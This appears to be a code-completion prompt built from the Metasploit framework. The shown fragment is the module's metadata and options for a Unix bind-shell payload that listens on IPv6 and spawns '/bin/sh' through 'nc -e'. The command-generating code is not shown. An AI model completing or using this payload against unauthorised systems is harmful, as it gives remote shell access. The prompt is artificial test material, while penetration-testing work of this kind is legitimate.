You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: bind_netcat_gaping_ipv6.rb
    path of file: ./repos/metasploit-framework/modules/payloads/singles/cmd/unix
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploi
    
  def initialize(info = {})
    super(merge_info(info,
     'Name'          => 'Unix Command Shell, Bind TCP (via netcat -e) IPv6',
     'Description'   => 'Listen for a connection and spawn a command shell via netcat',
     'Author'        => 'hdm',
     'License'       => MSF_LICENSE,
     'Platform'      => 'unix',
     'Arch'          => ARCH_CMD,
     'Handler'       => Msf::Handler::BindTcp,
     'Session'       => Msf::Sessions::CommandShell,
     'PayloadType'   => 'cmd',
     'RequiredCmd'   => 'netcat-e',
     'Payload'       =>
       {
         'Offsets' => { },
         'Payload' => ''
       }
    ))
    register_advanced_options(
      [
        OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),
        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
      ]
    )
  end